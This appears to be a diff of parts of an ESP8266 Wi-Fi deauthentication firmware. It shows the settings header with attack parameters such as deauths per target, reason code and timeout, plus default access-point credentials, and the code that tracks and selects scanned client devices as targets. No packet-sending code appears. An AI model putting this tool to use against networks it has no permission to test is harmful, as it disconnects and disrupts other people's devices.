void setDisplayTimeout(uint32_t displayTimeout);
|
||||
void setLang(String lang);
|
||||
void setSerialEcho(bool serialEcho);
|
||||
void setWebSpiffs(bool webSpiffs);
|
||||
|
||||
private:
|
||||
bool changed = false;
|
||||
|
||||
String version = VERSION;
|
||||
|
||||
bool beaconChannel = false;
|
||||
bool autosave = true;
|
||||
bool beaconInterval = false;
|
||||
bool cli = true;
|
||||
bool displayInterface = USE_DISPLAY;
|
||||
bool webInterface = true;
|
||||
bool webSpiffs = false;
|
||||
bool randomTX = false;
|
||||
bool ledEnabled = true;
|
||||
bool serialEcho = true;
|
||||
|
||||
uint32_t attackTimeout = 600;
|
||||
uint32_t autosaveTime = 10000;
|
||||
uint32_t displayTimeout = 600;
|
||||
uint16_t deauthsPerTarget = 20;
|
||||
uint16_t chTime = 384;
|
||||
uint16_t minDeauths = 3;
|
||||
uint8_t forcePackets = 1;
|
||||
uint8_t channel = 9;
|
||||
uint8_t deauthReason = 1;
|
||||
uint8_t* macSt;
|
||||
uint8_t* macAP;
|
||||
uint8_t probesPerSSID = 1;
|
||||
|
||||
String ssid = "pwned";
|
||||
String password = "deauther";
|
||||
bool hidden = false;
|
||||
bool captivePortal = true;
|
||||
String lang = "en";
|
||||
|
||||
String FILE_PATH = "/settings.json";
|
||||
|
||||
String getJsonStr();
|
||||
};
|
||||
|
||||
#endif // ifndef Settings_h
|
||||
#ifndef Settings_h
|
||||
#define Settings_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <FS.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "ArduinoJson.h"
|
||||
#include "language.h"
|
||||
#include "A_config.h"
|
||||
|
||||
#define VERSION "v2.0.6"
|
||||
|
||||
extern void checkFile(String path, String data);
|
||||
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer);
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern void saveJSONFile(String path, JsonObject& root);
|
||||
extern String macToStr(uint8_t* mac);
|
||||
extern void getRandomMac(uint8_t* mac);
|
||||
extern bool strToMac(String macStr, uint8_t* mac);
|
||||
extern void setWifiChannel(uint8_t ch);
|
||||
extern String fixUtf8(String str);
|
||||
extern void copyWebFiles(bool force);
|
||||
extern bool macValid(uint8_t* mac);
|
||||
|
||||
class Settings {
|
||||
public:
|
||||
Settings();
|
||||
void load();
|
||||
void load(String filepath);
|
||||
void save(bool force);
|
||||
void save(bool force, String filepath);
|
||||
void reset();
|
||||
void print();
|
||||
|
||||
void set(const char* str, String value);
|
||||
String get(const char* str);
|
||||
|
||||
String getVersion();
|
||||
uint16_t getDeauthsPerTarget();
|
||||
uint8_t getDeauthReason();
|
||||
bool getBeaconChannel();
|
||||
uint8_t getForcePackets();
|
||||
bool getAutosave();
|
||||
uint32_t getAutosaveTime();
|
||||
bool getBeaconInterval();
|
||||
uint8_t getChannel();
|
||||
String getSSID();
|
||||
String getPassword();
|
||||
bool getCLI();
|
||||
bool getDisplayInterface();
|
||||
bool getWebInterface();
|
||||
uint16_t getChTime();
|
||||
uint8_t* getMacSt();
|
||||
uint8_t* getMacAP();
|
||||
bool getRandomTX();
|
||||
uint32_t getAttackTimeout();
|
||||
bool getLedEnabled();
|
||||
uint8_t getProbesPerSSID();
|
||||
bool getHidden();
|
||||
bool getCaptivePortal();
|
||||
uint16_t getMinDeauths();
|
||||
uint32_t getDisplayTimeout();
|
||||
String getLang();
|
||||
bool getSerialEcho();
|
||||
bool getWebSpiffs();
|
||||
|
||||
void setDeauthsPerTarget(uint16_t deauthsPerTarget);
|
||||
void setDeauthReason(uint8_t deauthReason);
|
||||
void setBeaconChannel(bool beaconChannel);
|
||||
void setForcePackets(uint8_t forcePackets);
|
||||
void setAutosave(bool autosave);
|
||||
void setAutosaveTime(uint32_t autosaveTime);
|
||||
void setBeaconInterval(bool beaconInterval);
|
||||
void setChannel(uint8_t channel);
|
||||
void setSSID(String ssid);
|
||||
void setPassword(String password);
|
||||
void setCLI(bool cli);
|
||||
void setDisplayInterface(bool displayInterface);
|
||||
void setWebInterface(bool webInterface);
|
||||
void setChTime(uint16_t chTime);
|
||||
void setMacSt(String macStr);
|
||||
bool setMacSt(uint8_t* macSt);
|
||||
void setMacAP(String macStr);
|
||||
bool setMacAP(uint8_t* macAP);
|
||||
void setRandomTX(bool randomTX);
|
||||
void setAttackTimeout(uint32_t attackTimeout);
|
||||
void setLedEnabled(bool ledEnabled);
|
||||
void setProbesPerSSID(uint8_t probesPerSSID);
|
||||
void setHidden(bool hidden);
|
||||
void setCaptivePortal(bool captivePortal);
|
||||
void setMinDeauths(uint16_t minDeauths);
|
||||
void setDisplayTimeout(uint32_t displayTimeout);
|
||||
void setLang(String lang);
|
||||
void setSerialEcho(bool serialEcho);
|
||||
void setWebSpiffs(bool webSpiffs);
|
||||
|
||||
private:
|
||||
bool changed = false;
|
||||
|
||||
String version = VERSION;
|
||||
|
||||
bool beaconChannel = false;
|
||||
bool autosave = true;
|
||||
bool beaconInterval = false;
|
||||
bool cli = true;
|
||||
bool displayInterface = USE_DISPLAY;
|
||||
bool webInterface = true;
|
||||
bool webSpiffs = false;
|
||||
bool randomTX = false;
|
||||
bool ledEnabled = true;
|
||||
bool serialEcho = true;
|
||||
|
||||
uint32_t attackTimeout = 600;
|
||||
uint32_t autosaveTime = 10000;
|
||||
uint32_t displayTimeout = 600;
|
||||
uint16_t deauthsPerTarget = 20;
|
||||
uint16_t chTime = 384;
|
||||
uint16_t minDeauths = 3;
|
||||
uint8_t forcePackets = 1;
|
||||
uint8_t channel = 9;
|
||||
uint8_t deauthReason = 1;
|
||||
uint8_t* macSt;
|
||||
uint8_t* macAP;
|
||||
uint8_t probesPerSSID = 1;
|
||||
|
||||
String ssid = "pwned";
|
||||
String password = "deauther";
|
||||
bool hidden = false;
|
||||
bool captivePortal = true;
|
||||
String lang = "en";
|
||||
|
||||
String FILE_PATH = "/settings.json";
|
||||
|
||||
String getJsonStr();
|
||||
};
|
||||
|
||||
#endif // ifndef Settings_h
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,363 +1,367 @@
|
||||
#include "Stations.h"
|
||||
|
||||
Stations::Stations() {
|
||||
list = new SimpleList<Station>();
|
||||
}
|
||||
|
||||
void Stations::add(uint8_t* mac, int accesspointNum) {
|
||||
int stationNum = findStation(mac);
|
||||
|
||||
if (stationNum < 0) {
|
||||
internal_add(mac, accesspointNum);
|
||||
// print(list->size() - 1, list->size() == 1, false);
|
||||
} else {
|
||||
*getPkts(stationNum) += 1;
|
||||
*getTime(stationNum) = currentTime;
|
||||
}
|
||||
changed = true;
|
||||
}
|
||||
|
||||
int Stations::findStation(uint8_t* mac) {
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
if (memcmp(getMac(i), mac, 6) == 0) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
void Stations::sort() {
|
||||
list->setCompare([](Station& a, Station& b) -> int {
|
||||
if(*(a.pkts) > *(b.pkts)) return -1;
|
||||
if(*(a.pkts) == *(b.pkts)) return 0;
|
||||
return 1;
|
||||
});
|
||||
list->sort();
|
||||
}
|
||||
|
||||
void Stations::sortAfterChannel() {
|
||||
list->setCompare([](Station& a, Station& b) -> int {
|
||||
if(a.ch < b.ch) return -1;
|
||||
if(a.ch == b.ch) return 0;
|
||||
return 1;
|
||||
});
|
||||
list->sort();
|
||||
}
|
||||
|
||||
void Stations::removeAll() {
|
||||
internal_removeAll();
|
||||
prntln(ST_CLEARED_LIST);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::removeOldest() {
|
||||
int oldest = 0;
|
||||
int c = count();
|
||||
|
||||
for (int i = 1; i < c; i++) {
|
||||
if (*getTime(i) > *getTime(oldest)) oldest = i;
|
||||
}
|
||||
internal_remove(oldest);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::printAll() {
|
||||
prntln(ST_HEADER);
|
||||
int c = count();
|
||||
|
||||
if (c == 0) prntln(ST_LIST_EMPTY);
|
||||
else
|
||||
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||
}
|
||||
|
||||
void Stations::printSelected() {
|
||||
prntln(ST_HEADER);
|
||||
int max = selected();
|
||||
int c = count();
|
||||
|
||||
if (max == 0) {
|
||||
prntln(ST_NO_DEVICES_SELECTED);
|
||||
return;
|
||||
}
|
||||
|
||||
for (int i = 0, j = 0; i < c && j < max; i++) {
|
||||
if (getSelected(i)) {
|
||||
print(i, j == 0, j == max - 1);
|
||||
j++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Stations::print(int num) {
|
||||
print(num, true, true);
|
||||
}
|
||||
|
||||
void Stations::print(int num, bool header, bool footer) {
|
||||
if (!check(num)) return;
|
||||
|
||||
if (header) {
|
||||
prntln(ST_TABLE_HEADER);
|
||||
prntln(ST_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
prnt(leftRight(String(), (String)num, 2));
|
||||
prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18));
|
||||
prnt(leftRight(String(SPACE), (String)getCh(num), 3));
|
||||
prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17));
|
||||
prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9));
|
||||
prnt(leftRight(String(SPACE), (String) * getPkts(num), 9));
|
||||
prnt(leftRight(String(SPACE) + getAPStr(num), String(), 33));
|
||||
prnt(leftRight(String(SPACE) + getTimeStr(num), String(), 10));
|
||||
prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9));
|
||||
|
||||
if (footer) prntln(ST_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
String Stations::getAPStr(int num) {
|
||||
if (getAP(num) < 0) return String();
|
||||
|
||||
return accesspoints.getSSID(getAP(num));
|
||||
}
|
||||
|
||||
uint8_t* Stations::getAPMac(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.BSSID(list->get(num).ap);
|
||||
}
|
||||
|
||||
String Stations::getAPMacStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint8_t* mac = getAPMac(num);
|
||||
return bytesToStr(mac, 6);
|
||||
}
|
||||
|
||||
int Stations::getAP(int num) {
|
||||
if (!check(num)) return -1;
|
||||
|
||||
return accesspoints.find(list->get(num).ap);
|
||||
}
|
||||
|
||||
String Stations::getNameStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return names.find(getMac(num));
|
||||
}
|
||||
|
||||
bool Stations::hasName(int num) {
|
||||
if (!check(num)) return false;
|
||||
|
||||
return names.findID(getMac(num)) >= 0;
|
||||
}
|
||||
|
||||
uint8_t* Stations::getMac(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return list->get(num).mac;
|
||||
}
|
||||
|
||||
String Stations::getMacStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint8_t* mac = getMac(num);
|
||||
return bytesToStr(mac, 6);
|
||||
}
|
||||
|
||||
String Stations::getMacVendorStr(int num) {
|
||||
String value;
|
||||
|
||||
if (check(num)) {
|
||||
value = getVendorStr(num) + ":";
|
||||
uint8_t* mac = getMac(num);
|
||||
|
||||
for (int i = 3; i < 6; i++) {
|
||||
if (mac[i] < 0x10) value += "0";
|
||||
value += String(mac[i], HEX);
|
||||
|
||||
if (i < 5) value += ":";
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
String Stations::getVendorStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return searchVendor(list->get(num).mac);
|
||||
}
|
||||
|
||||
String Stations::getSelectedStr(int num) {
|
||||
return b2a(getSelected(num));
|
||||
}
|
||||
|
||||
uint32_t* Stations::getPkts(int num) {
|
||||
if (!check(num)) return NULL;
|
||||
|
||||
return list->get(num).pkts;
|
||||
}
|
||||
|
||||
uint32_t* Stations::getTime(int num) {
|
||||
if (!check(num)) return NULL;
|
||||
|
||||
return list->get(num).time;
|
||||
}
|
||||
|
||||
String Stations::getTimeStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint32_t difference = currentTime - *getTime(num);
|
||||
|
||||
if (difference < 1000) return str(ST_SMALLER_ONESEC);
|
||||
else if (difference < 60000) return str(ST_SMALLER_ONEMIN);
|
||||
else {
|
||||
uint32_t minutes = difference / 60000;
|
||||
|
||||
if (minutes > 60) return str(ST_BIGER_ONEHOUR);
|
||||
else return (String)minutes + str(STR_MIN);
|
||||
}
|
||||
}
|
||||
|
||||
bool Stations::getSelected(int num) {
|
||||
if (!check(num)) return false;
|
||||
|
||||
return list->get(num).selected;
|
||||
}
|
||||
|
||||
uint8_t Stations::getCh(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return list->get(num).ch;
|
||||
}
|
||||
|
||||
void Stations::select(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_select(num);
|
||||
prnt(ST_SELECTED_STATION);
|
||||
prntln(num);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::deselect(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_deselect(num);
|
||||
prnt(ST_DESELECTED_STATION);
|
||||
prntln(num);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::remove(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_remove(num);
|
||||
prnt(ST_REMOVED_STATION);
|
||||
prntln(num);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::select(String ssid) {
|
||||
for(int i=0;i<list->size();i++){
|
||||
if(getAPStr(i).equalsIgnoreCase(ssid)) select(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Stations::deselect(String ssid) {
|
||||
for(int i=0;i<list->size();i++){
|
||||
if(getAPStr(i).equalsIgnoreCase(ssid)) deselect(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Stations::remove(String ssid) {
|
||||
for(int i=0;i<list->size();i++){
|
||||
if(getAPStr(i).equalsIgnoreCase(ssid)) remove(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Stations::selectAll() {
|
||||
for (int i = 0; i < count(); i++) internal_select(i);
|
||||
prntln(ST_SELECTED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::deselectAll() {
|
||||
for (int i = 0; i < count(); i++) internal_deselect(i);
|
||||
prntln(ST_DESELECTED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
int Stations::count() {
|
||||
return list->size();
|
||||
}
|
||||
|
||||
int Stations::selected() {
|
||||
int num = 0;
|
||||
|
||||
for (int i = 0; i < count(); i++)
|
||||
if (getSelected(i)) num++;
|
||||
return num;
|
||||
}
|
||||
|
||||
bool Stations::check(int num) {
|
||||
if (internal_check(num)) {
|
||||
return true;
|
||||
} else {
|
||||
prnt(ST_ERROR_ID);
|
||||
prntln(num);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
bool Stations::internal_check(int num) {
|
||||
return num >= 0 && num < count();
|
||||
}
|
||||
|
||||
void Stations::internal_select(int num) {
|
||||
Station changedStation = list->get(num);
|
||||
|
||||
changedStation.selected = true;
|
||||
list->replace(num, changedStation);
|
||||
}
|
||||
|
||||
void Stations::internal_deselect(int num) {
|
||||
Station changedStation = list->get(num);
|
||||
|
||||
changedStation.selected = false;
|
||||
list->replace(num, changedStation);
|
||||
}
|
||||
|
||||
void Stations::internal_remove(int num) {
|
||||
free(getMac(num));
|
||||
free(getPkts(num));
|
||||
free(getTime(num));
|
||||
list->remove(num);
|
||||
}
|
||||
|
||||
void Stations::internal_add(uint8_t* mac, int accesspointNum) {
|
||||
if (count() >= STATION_LIST_SIZE) removeOldest();
|
||||
|
||||
Station newStation;
|
||||
newStation.ap = accesspointNum;
|
||||
newStation.ch = wifi_channel;
|
||||
newStation.mac = (uint8_t*)malloc(6);
|
||||
newStation.pkts = (uint32_t*)malloc(sizeof(uint32_t));
|
||||
newStation.time = (uint32_t*)malloc(sizeof(uint32_t));
|
||||
newStation.selected = false;
|
||||
|
||||
memcpy(newStation.mac, mac, 6);
|
||||
*newStation.pkts = 1;
|
||||
*newStation.time = currentTime;
|
||||
|
||||
list->add(newStation);
|
||||
}
|
||||
|
||||
void Stations::internal_removeAll() {
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
free(getMac(i));
|
||||
free(getPkts(i));
|
||||
free(getTime(i));
|
||||
}
|
||||
list->clear();
|
||||
}
|
||||
#include "Stations.h"
|
||||
|
||||
Stations::Stations() {
|
||||
list = new SimpleList<Station>();
|
||||
}
|
||||
|
||||
void Stations::add(uint8_t* mac, int accesspointNum) {
|
||||
int stationNum = findStation(mac);
|
||||
|
||||
if (stationNum < 0) {
|
||||
internal_add(mac, accesspointNum);
|
||||
// print(list->size() - 1, list->size() == 1, false);
|
||||
} else {
|
||||
*getPkts(stationNum) += 1;
|
||||
*getTime(stationNum) = currentTime;
|
||||
}
|
||||
changed = true;
|
||||
}
|
||||
|
||||
int Stations::findStation(uint8_t* mac) {
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
if (memcmp(getMac(i), mac, 6) == 0) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
void Stations::sort() {
|
||||
list->setCompare([](Station& a, Station& b) -> int {
|
||||
if (*(a.pkts) > *(b.pkts)) return -1;
|
||||
|
||||
if (*(a.pkts) == *(b.pkts)) return 0;
|
||||
|
||||
return 1;
|
||||
});
|
||||
list->sort();
|
||||
}
|
||||
|
||||
void Stations::sortAfterChannel() {
|
||||
list->setCompare([](Station& a, Station& b) -> int {
|
||||
if (a.ch < b.ch) return -1;
|
||||
|
||||
if (a.ch == b.ch) return 0;
|
||||
|
||||
return 1;
|
||||
});
|
||||
list->sort();
|
||||
}
|
||||
|
||||
void Stations::removeAll() {
|
||||
internal_removeAll();
|
||||
prntln(ST_CLEARED_LIST);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::removeOldest() {
|
||||
int oldest = 0;
|
||||
int c = count();
|
||||
|
||||
for (int i = 1; i < c; i++) {
|
||||
if (*getTime(i) > *getTime(oldest)) oldest = i;
|
||||
}
|
||||
internal_remove(oldest);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::printAll() {
|
||||
prntln(ST_HEADER);
|
||||
int c = count();
|
||||
|
||||
if (c == 0) prntln(ST_LIST_EMPTY);
|
||||
else
|
||||
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||
}
|
||||
|
||||
void Stations::printSelected() {
|
||||
prntln(ST_HEADER);
|
||||
int max = selected();
|
||||
int c = count();
|
||||
|
||||
if (max == 0) {
|
||||
prntln(ST_NO_DEVICES_SELECTED);
|
||||
return;
|
||||
}
|
||||
|
||||
for (int i = 0, j = 0; i < c && j < max; i++) {
|
||||
if (getSelected(i)) {
|
||||
print(i, j == 0, j == max - 1);
|
||||
j++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Stations::print(int num) {
|
||||
print(num, true, true);
|
||||
}
|
||||
|
||||
void Stations::print(int num, bool header, bool footer) {
|
||||
if (!check(num)) return;
|
||||
|
||||
if (header) {
|
||||
prntln(ST_TABLE_HEADER);
|
||||
prntln(ST_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
prnt(leftRight(String(), (String)num, 2));
|
||||
prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18));
|
||||
prnt(leftRight(String(SPACE), (String)getCh(num), 3));
|
||||
prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17));
|
||||
prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9));
|
||||
prnt(leftRight(String(SPACE), (String) * getPkts(num), 9));
|
||||
prnt(leftRight(String(SPACE) + getAPStr(num), String(), 33));
|
||||
prnt(leftRight(String(SPACE) + getTimeStr(num), String(), 10));
|
||||
prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9));
|
||||
|
||||
if (footer) prntln(ST_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
String Stations::getAPStr(int num) {
|
||||
if (getAP(num) < 0) return String();
|
||||
|
||||
return accesspoints.getSSID(getAP(num));
|
||||
}
|
||||
|
||||
uint8_t* Stations::getAPMac(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.BSSID(list->get(num).ap);
|
||||
}
|
||||
|
||||
String Stations::getAPMacStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint8_t* mac = getAPMac(num);
|
||||
return bytesToStr(mac, 6);
|
||||
}
|
||||
|
||||
int Stations::getAP(int num) {
|
||||
if (!check(num)) return -1;
|
||||
|
||||
return accesspoints.find(list->get(num).ap);
|
||||
}
|
||||
|
||||
String Stations::getNameStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return names.find(getMac(num));
|
||||
}
|
||||
|
||||
bool Stations::hasName(int num) {
|
||||
if (!check(num)) return false;
|
||||
|
||||
return names.findID(getMac(num)) >= 0;
|
||||
}
|
||||
|
||||
uint8_t* Stations::getMac(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return list->get(num).mac;
|
||||
}
|
||||
|
||||
String Stations::getMacStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint8_t* mac = getMac(num);
|
||||
return bytesToStr(mac, 6);
|
||||
}
|
||||
|
||||
String Stations::getMacVendorStr(int num) {
|
||||
String value;
|
||||
|
||||
if (check(num)) {
|
||||
value = getVendorStr(num) + ":";
|
||||
uint8_t* mac = getMac(num);
|
||||
|
||||
for (int i = 3; i < 6; i++) {
|
||||
if (mac[i] < 0x10) value += "0";
|
||||
value += String(mac[i], HEX);
|
||||
|
||||
if (i < 5) value += ":";
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
String Stations::getVendorStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return searchVendor(list->get(num).mac);
|
||||
}
|
||||
|
||||
String Stations::getSelectedStr(int num) {
|
||||
return b2a(getSelected(num));
|
||||
}
|
||||
|
||||
uint32_t* Stations::getPkts(int num) {
|
||||
if (!check(num)) return NULL;
|
||||
|
||||
return list->get(num).pkts;
|
||||
}
|
||||
|
||||
uint32_t* Stations::getTime(int num) {
|
||||
if (!check(num)) return NULL;
|
||||
|
||||
return list->get(num).time;
|
||||
}
|
||||
|
||||
String Stations::getTimeStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint32_t difference = currentTime - *getTime(num);
|
||||
|
||||
if (difference < 1000) return str(ST_SMALLER_ONESEC);
|
||||
else if (difference < 60000) return str(ST_SMALLER_ONEMIN);
|
||||
else {
|
||||
uint32_t minutes = difference / 60000;
|
||||
|
||||
if (minutes > 60) return str(ST_BIGER_ONEHOUR);
|
||||
else return (String)minutes + str(STR_MIN);
|
||||
}
|
||||
}
|
||||
|
||||
bool Stations::getSelected(int num) {
|
||||
if (!check(num)) return false;
|
||||
|
||||
return list->get(num).selected;
|
||||
}
|
||||
|
||||
uint8_t Stations::getCh(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return list->get(num).ch;
|
||||
}
|
||||
|
||||
void Stations::select(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_select(num);
|
||||
prnt(ST_SELECTED_STATION);
|
||||
prntln(num);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::deselect(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_deselect(num);
|
||||
prnt(ST_DESELECTED_STATION);
|
||||
prntln(num);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::remove(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_remove(num);
|
||||
prnt(ST_REMOVED_STATION);
|
||||
prntln(num);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::select(String ssid) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getAPStr(i).equalsIgnoreCase(ssid)) select(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Stations::deselect(String ssid) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getAPStr(i).equalsIgnoreCase(ssid)) deselect(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Stations::remove(String ssid) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getAPStr(i).equalsIgnoreCase(ssid)) remove(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Stations::selectAll() {
|
||||
for (int i = 0; i < count(); i++) internal_select(i);
|
||||
prntln(ST_SELECTED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::deselectAll() {
|
||||
for (int i = 0; i < count(); i++) internal_deselect(i);
|
||||
prntln(ST_DESELECTED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
int Stations::count() {
|
||||
return list->size();
|
||||
}
|
||||
|
||||
int Stations::selected() {
|
||||
int num = 0;
|
||||
|
||||
for (int i = 0; i < count(); i++)
|
||||
if (getSelected(i)) num++;
|
||||
return num;
|
||||
}
|
||||
|
||||
bool Stations::check(int num) {
|
||||
if (internal_check(num)) {
|
||||
return true;
|
||||
} else {
|
||||
prnt(ST_ERROR_ID);
|
||||
prntln(num);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
bool Stations::internal_check(int num) {
|
||||
return num >= 0 && num < count();
|
||||
}
|
||||
|
||||
void Stations::internal_select(int num) {
|
||||
Station changedStation = list->get(num);
|
||||
|
||||
changedStation.selected = true;
|
||||
list->replace(num, changedStation);
|
||||
}
|
||||
|
||||
void Stations::internal_deselect(int num) {
|
||||
Station changedStation = list->get(num);
|
||||
|
||||
changedStation.selected = false;
|
||||
list->replace(num, changedStation);
|
||||
}
|
||||
|
||||
void Stations::internal_remove(int num) {
|
||||
free(getMac(num));
|
||||
free(getPkts(num));
|
||||
free(getTime(num));
|
||||
list->remove(num);
|
||||
}
|
||||
|
||||
void Stations::internal_add(uint8_t* mac, int accesspointNum) {
|
||||
if (count() >= STATION_LIST_SIZE) removeOldest();
|
||||
|
||||
Station newStation;
|
||||
newStation.ap = accesspointNum;
|
||||
newStation.ch = wifi_channel;
|
||||
newStation.mac = (uint8_t*)malloc(6);
|
||||
newStation.pkts = (uint32_t*)malloc(sizeof(uint32_t));
|
||||
newStation.time = (uint32_t*)malloc(sizeof(uint32_t));
|
||||
newStation.selected = false;
|
||||
|
||||
memcpy(newStation.mac, mac, 6);
|
||||
*newStation.pkts = 1;
|
||||
*newStation.time = currentTime;
|
||||
|
||||
list->add(newStation);
|
||||
}
|
||||
|
||||
void Stations::internal_removeAll() {
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
free(getMac(i));
|
||||
free(getPkts(i));
|
||||
free(getTime(i));
|
||||
}
|
||||
list->clear();
|
||||
}
|
||||
@@ -1,98 +1,98 @@
|
||||
#ifndef Stations_h
|
||||
#define Stations_h
|
||||
|
||||
#include "Arduino.h"
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
#include "Accesspoints.h"
|
||||
#include "Names.h"
|
||||
|
||||
#define STATION_LIST_SIZE 60
|
||||
extern Accesspoints accesspoints;
|
||||
extern Names names;
|
||||
extern uint8_t wifi_channel;
|
||||
extern uint32_t currentTime;
|
||||
|
||||
extern String searchVendor(uint8_t* mac);
|
||||
extern bool macMulticast(uint8_t* mac);
|
||||
extern bool macValid(uint8_t* mac);
|
||||
extern bool macBroadcast(uint8_t* mac);
|
||||
extern String bytesToStr(uint8_t* b, uint32_t size);
|
||||
|
||||
class Stations {
|
||||
public:
|
||||
Stations();
|
||||
|
||||
void sort();
|
||||
void sortAfterChannel();
|
||||
|
||||
void select(int num);
|
||||
void deselect(int num);
|
||||
void remove(int num);
|
||||
|
||||
void select(String ssid);
|
||||
void deselect(String ssid);
|
||||
void remove(String ssid);
|
||||
|
||||
void add(uint8_t* mac, int accesspointNum);
|
||||
|
||||
void selectAll();
|
||||
void deselectAll();
|
||||
void removeAll();
|
||||
void removeOldest();
|
||||
|
||||
String getNameStr(int num);
|
||||
String getAPStr(int num);
|
||||
String getMacStr(int num);
|
||||
String getMacVendorStr(int num);
|
||||
String getVendorStr(int num);
|
||||
String getTimeStr(int num);
|
||||
String getSelectedStr(int num);
|
||||
uint8_t* getAPMac(int num);
|
||||
String getAPMacStr(int num);
|
||||
uint8_t* getMac(int num);
|
||||
uint32_t* getPkts(int num);
|
||||
uint32_t* getTime(int num);
|
||||
uint8_t getCh(int num);
|
||||
int getAP(int num);
|
||||
bool getSelected(int num);
|
||||
bool hasName(int num);
|
||||
|
||||
void print(int num);
|
||||
void print(int num, bool header, bool footer);
|
||||
void printAll();
|
||||
void printSelected();
|
||||
|
||||
int count();
|
||||
int selected();
|
||||
|
||||
bool check(int num);
|
||||
bool changed = false;
|
||||
|
||||
private:
|
||||
struct Station {
|
||||
uint8_t ap;
|
||||
uint8_t ch;
|
||||
uint8_t * mac;
|
||||
uint32_t* pkts;
|
||||
uint32_t* time;
|
||||
bool selected;
|
||||
};
|
||||
|
||||
SimpleList<Station>* list;
|
||||
|
||||
int findStation(uint8_t* mac);
|
||||
int findAccesspoint(uint8_t* mac);
|
||||
|
||||
bool internal_check(int num);
|
||||
void internal_select(int num);
|
||||
void internal_deselect(int num);
|
||||
void internal_add(uint8_t* mac, int accesspointNum);
|
||||
void internal_remove(int num);
|
||||
void internal_removeAll();
|
||||
};
|
||||
|
||||
#endif // ifndef Stations_h
|
||||
#ifndef Stations_h
|
||||
#define Stations_h
|
||||
|
||||
#include "Arduino.h"
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
